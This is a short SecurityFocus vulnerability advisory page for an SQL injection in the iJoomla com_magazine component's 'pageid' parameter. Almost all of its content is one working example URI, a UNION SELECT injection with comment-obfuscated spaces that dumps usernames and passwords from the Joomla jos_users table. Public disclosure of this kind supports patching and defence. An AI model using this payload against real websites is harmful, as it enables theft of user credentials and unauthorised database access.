Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

iJoomla com_magazine Component 'pageid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_magazine&task=guide&id=21&page=7&pageid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,111,222,333,444,555/**/from/**/jos_users/**







 

Privacy Statement
Copyright 2008, SecurityFocus